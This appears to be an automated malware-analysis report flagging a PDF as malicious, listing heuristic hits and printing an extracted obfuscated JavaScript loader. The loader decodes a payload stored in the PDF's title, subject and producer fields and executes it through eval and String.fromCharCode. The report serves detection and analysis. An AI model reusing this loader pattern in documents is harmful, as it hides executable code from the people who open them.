MALICIOUS
114
Risk Score
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 3
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JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.Matched line in script
/Producer (String.fromCharCode) -
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0001_000.js |
pdf-javascript-stream | PDF /JS object 1 at offset 0x4619 | 334 bytes |
SHA-256: 419635924316bbe42ffb376f0aaa99e72ebff91d8cfd7f620aba8b92e16705ea |
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Preview scriptFirst 1,000 lines of the extracted script
var w = 4;
var uce = this.title.replace(/w/g,'*w,');
uce = uce.replace(/t/g,'2');
uce=uce.substr(0,uce.length-2) + ']';
iybcp=function(){return this}();
cgdbh=iybcp[this.subject];
gyr=cgdbh(this.producer);
uay = cgdbh(uce);
var s = '';
for (i = 0; i < uay.length; i++) {
rbvvh = uay[i];
s += gyr(rbvvh);
}
cgdbh(s);
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